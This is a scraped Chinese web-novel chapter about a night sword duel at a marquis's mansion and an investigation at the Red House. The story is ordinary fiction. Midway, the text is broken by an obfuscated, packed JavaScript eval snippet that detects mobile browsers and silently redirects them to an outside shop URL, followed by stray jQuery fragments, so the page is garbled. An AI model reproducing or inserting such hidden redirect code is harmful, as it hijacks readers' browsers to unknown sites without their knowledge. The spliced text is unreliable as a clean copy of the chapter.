文趣网 > 都市小说 > 江湖已故白月光竟是我自己 > 15. 侯府夜
    暮色深沉,黎侯府管制森严,门口不断有侍卫交替换班,李长弃隐蔽气息,潜入侯府,趁无人发现,拿回玉佩,在得手之后,趁其不备准备离开侯府。

    正当他踏入黑巷准备交接时,忽地察觉到了弥漫在夜色中的肃杀之气,从身后席卷而来,他眼神一冷,立刻拔剑抵挡。

    也是这时,他才看清来者的面容——

    少女一袭雪衣翩翩,头戴黑纱帷帽,遮住了大半面容,只露出红唇。她手中握着剑鞘,挑衅地向他挑了下眉,随后毫不客气的拔剑出鞘。

    刹那间,银光匝地,剑意从剑鞘之内汹涌而出,速度极快的挥向他!

    李长弃黑眸一沉,再次挡上一剑,他自知不敌,也不恋战,向后撤去。

    “啧,别跑啊。”少女并不想放过他,纵身一跃,挡在他面前,如她的长剑一般,肆意狂傲。

    “阁下何人?”

    李长弃不动声色,暗暗将玉佩别入腰间。

    少女微抬帷帽,那双露出的琉璃眸微动,眼底带着冷意,乌发顺风飘飞在空中,她说:“不必管我是谁,做个交易,留下玉佩,饶你一命,如何?”

    李长弃不作声,后退几步,冷汗已顺额角落下。

    原来如此,侯府戒备如此疏漏,原来是在这里等着他。

    可若与此人交手起来,他没有任何还手之力。

    身后传来一阵阵兵马的巡逻声,他自知不能拖下去,黎侯府的人,来了。

    前有狼,后有虎。

    李长弃咬咬牙,迅速运起轻功,直踏屋檐。

    少女眸中染上一丝寒意,她没心情再玩下去了,毕竟自己是被请来护卫黎侯府的。

    风长忧凌空跃起,挽了个剑花,一瞬间,剑光莹白,直逼李长弃面门!

    这剑花只是她随手一招,李长弃勉强可抵,但也只是勉强,他内力已然耗尽,再拖下去,今天恐怕得栽在这。

    仅仅过了十招,李长弃已无力可抗,长剑被哐当一声击落,风长忧的剑锋已至他面前,他甚至避不开。

    要死在这儿了吗。

    他攥紧了掌心玉佩,缓缓闭上眼睛。

    万籁俱寂,臆想中的疼痛并未到来,少年迷茫地睁开眼,入眼的就是一本秘籍甩向了自己,他下意识抬手接住,看向手中之物。

    蓝色的书皮上赫然是几个大字《忧——心境篇》。

    字迹龙飞凤舞,彰显出主人的狂傲随意。

    李长弃不解地看向少女,问她:“这是……”

    少女立于月光下,如披霜戴雪,对着他勾起唇角,说:“底子不错,但剑心不稳,剑式上也差了点意思,回去好好照着上边练习,走吧。”

    “你放我走?”李长弃仍是不明白,前一秒还奔着要他命来的人,后一秒变了态度。

    少女蹙了蹙眉,压下帷帽,扫了眼屋檐下赶到的追兵,不耐道:“从眼睛来看,长的不赖,是个美人胚子,话怎么这么多?”

    她语调慵懒,催促着:“快走哦,小美人,别让我后悔。”

    李长弃攥了攥拳,握紧秘籍,向远处跃起。

    他自知现在不是废话的时候,即便此刻心底有千万个问题和疑虑,最终也只化作一句小声的:“谢谢。”

    直至今日,李长弃忆起当年的月夜,心中还是五味杂陈。

    风长忧为何在关键时刻收手放自己走?又为何会给自己一本秘籍?是,怜悯吗?

    恐怕,他这辈子都无从而知了。

    李长弃抬起眼,目光坠落,似乎想从风无疾的脸上中看出什么,他说:“而我,也是回去之后才查到,这个人,便是风长忧。”

    闻言,风无疾面色如常,见他盯着自己,这才适时地露出一脸惊讶,崇拜道:“她如此厉害,连弃美人都不能与之一敌?”

    “不过,阿弃七年前才是十九岁的小少年啊,能跟这么厉害的人过上十招,也是很强的了。”

    李长弃扶额,说:“七年前风长忧也方才十九…...算了,我同你说这些做什么。”

    ***

    暮色四合,夕阳垂暮。

    风无疾随着罗昭向主堂走,远处池水涟漪,她瞥了眼,忽地问道:“小兄弟,你在这红楼待的时间已有多久了?”

    他简略答说:“九年。”

    罗昭容貌年轻,看起来也不过十五六出头,却总能透露出一股不属于他年龄该有的成熟。

    “风堂主不必听外面的胡乱传言,我今年十六,九年前被楼主收留。”他不排斥讲述红锡的丰功伟绩,继续说:“当初没有楼主给我的一口饭吃,我早已饿死街头了。”

    风无疾又问:“你们楼主,是个怎么样的人呢?”

    “我……”罗昭沉吟片晌,似是在纠结,终是说:“罢了,既然你是楼主的贵客,那我便实不相瞒。”

    “如果你是钧州人,就应该听说过红楼春水的事。”他望向远方,目光微动,缓缓说:“红楼春水于五年前闻名,在此之前,红楼都是由红家家主接管,也就是楼主的父亲——红儒阳。”

    他念出这个名字后,眼底一闪而过的痛恨不假,风无疾自知这是红家家事,安静地听着。

    “在家主的照理下,前些年,红楼生意一直不温不火,是楼主接手后,才逐步走到如今的名声大噪。”

    罗昭抬眼,顿住脚步,“你应当听闻过十大家,立于江湖朝廷之间的家族,每一家都有各自的能力,权势滔天,其中排列为二武三官四商。”

    风无疾随之停下,说:“我知道。”

    罗昭折下一旁的枝,任凭尖刺扎破掌心,继续说:“红家在四商门中排名第二,其一因为七窍珠,其二便是红家资产,其三,是因为红楼春水名声鹊起,红家才得以晋升,所以,其中功劳少不了楼主。”

    “红楼主有能力又心善,常常接回来许多街上无家可归的小乞儿。我,便是其中一员。”

    罗昭垂下眼,声音发紧,“这样的红锡,谁会不愿意死心塌地的为之尽心尽力!可偏偏,有心之人也借她的心善,以此蒙骗……”

    “这次便是。”他捏紧拳头,疼痛蔓延,恨声说:“不知又是哪个狗东西这般坑害红楼主,令红楼春水再次陷入五年前的水深火热,若让我抓到,先剁了他的手!”

    风无疾一脸的意味深长,看来,五年前红楼春水建立初期,发生了些不同寻常的事。她拍拍他的肩,笑眯眯地说:“我还有几个问题,想让小兄弟帮我解惑。”

    “在下知无不言。”

    “既然你常年在红楼春水,可知红楼主身边管事的是谁?”

    罗昭答道:“红楼主身边最得力的两个下属,一是刘婆,二便是章鑫。刘婆是红楼里的老人,原是跟在家主身边,帮忙打理红楼大小琐事的。”

    “自从红楼春水被楼主接手,她的主子也就变成了楼主,但……”罗昭的话戛然而止,他极力想要掩盖住胸腔内波涛汹涌的情绪。

    “事关红家私事,我不能说太多。我只知道,刘婆更像是家主埋在红楼里的眼线,她会把红楼发生的大小琐事、乃至楼主日常所做的一切,全部汇报至家主。”

    他垂下眸,语气遗憾,轻声说:“您也不要怪楼主,她之所以如此提防外人,也是因为红家五年前发生的事,将她逼成谨慎的性子。”

    “自然不会,”风无疾宽慰他一句,说:“章鑫此人怎样?”

    “我不知如何评价。”

    可能是小孩子心性的缘故,罗昭默了默,最终忍不住多嘴,说:“相较刘婆,章鑫的性子更奇怪,对待下人极为严厉苛刻,而这种古怪,是从……”

    他叹了声气,继续道:“是从五年前那件事发生后,才有所变化的。”

    云卷云舒,风卷回廊,递来一阵花香,稀稀落落的花瓣飘落到肩头。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631573|206374||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>二人已至堂前,罗昭沉吟片晌,说:“在五年前那件事发生前,章鑫待人温和,很好说话,虽于之后变得古怪,但对楼主仍是忠心耿耿。此次春水亭一事,承楼主信任,全权由他与刘婆负责,毫无纰漏。”

    风无疾若有所思,拂去肩头花,不再与罗昭攀谈,掀衣跨入殿堂。

    宽阔的殿内,主座两旁候着一男一女,显然是章鑫与刘婆,客座一位陌生的中年男子端坐其间,一身道袍,神情自若,不紧不慢地饮茶。

    对面慵懒半躺着的少年余光瞥到风无疾,兴奋地坐起身,招呼道:“风堂主,你来了啊!要不要尝尝她这儿的美酒,可香醇了!”

    风无疾还未应答,身后熟悉的讥诮声已然响起。

    “苍公子,你想贪乐可以,但得往后放放。”

    李长弃踏至风无疾身侧,目光淡淡地扫过苍飞鸿,如同看一件无关紧要的瓷器。

    “嘶,臭侍卫,我同风堂主说话,干你何事?”苍飞鸿登即拍案,说:“不服跟我出去比试一番啊,看看咱俩谁更厉害,不给你打的连滚带爬,我不姓苍,我改姓风!”

    李长弃嗤笑一声,无所谓地说:“行啊,风飞鸿。”

    “你!”苍飞鸿说不过他,气的面红耳赤,喊道:“走,去院里!”

    风无疾扶额轻叹,这两人也是厉害,一旦凑到一块,便起战争。她扣住李长弃的手腕,指尖轻轻摩挲着肌肤,泛起一阵战栗,她轻声说:“别闹了,小孩子吗,动不动要打架。”

    李长弃闭了闭眼,随后敛眸看她,回握住她的手,哑声说:“我错了。”

    另一边,红锡伸手拦住苍飞鸿,叹声道:“两边都是贵客,飞鸿,莫要胡闹。”

    苍飞鸿双手抱臂,冷哼一声,扭过头去。

    红锡眼神示意章鑫去关门,趁着这个间隙,酝酿了会儿措辞,后对风无疾介绍道:“风堂主,这位便是风水师,曲厘先生。”

    “曲先生,这位是弃忧堂之主,风无疾。”

    曲厘笑呵呵地颔首,道:“早有闻名,风堂主驱鬼断案是为一绝。”

    红锡轻叩桌面,开口道:“今日聚大家于此,是因红楼案件未解,还需各位帮忙。”

    说着,她望向曲厘,眼底是不易察觉的锋芒:“就在前日您走之后,我立刻安排人砍掉了春水亭的竹林,可……夜间仍是出了事。”

    “此事,我已在来的路上,通过章管事知晓了来龙去脉。”曲厘抚着胡子,叹息一声:“老夫为那位死去的小厮感到哀恸,怪我之前不识,这魑怨气如此之深,不慎害了他……惭愧,惭愧。”

    苍飞鸿坐的四仰八叉,先是给自己投喂了一颗圆滚滚的红果子,然后咂吧着嘴,随口道:“你与章鑫认识呀?”

    章鑫手腕微压,为红锡倒茶。闻言,他冷静答道:“哦,是这样的,因为春水亭一事,曲先生总临春水亭,春水又由我而管,一来二去,便熟络了。”

    无人再应,大堂一时安静,落叶拂过窗框的声音都显得格外清晰。

    红锡垂眼,长睫轻动,他抿了口茶,再次问道:“那不知今日,曲先生可有更好的办法?”

    “自然有!”曲厘斩钉截铁。说罢,他从袖中掏出一颗由手帕包裹着的东西,隐约可以看出轮廓。

    “此物,是我家历代祖传下来的宝物,名唤诸移。”

    “诸移?”风无疾挑了挑眉。

    还挺会瞎取名。

    长夏多雨,短夜多潮,窗外几度重光临,照的本来昏沉的苍飞鸿一个激灵,清醒几分,他缓缓坐直了身,催促道:“那还等什么,快揭开让我们一睹芳颜呗!”

    “放心,一定让您尽兴。”曲厘低笑着,捏起帕角,在几道紧张而期许的目光下,故作神秘地说:“各位看好了。”

    他再不含糊,倏地揭开布帕,将宝物彻底呈现出来!

    不看不知道,一看吓一跳——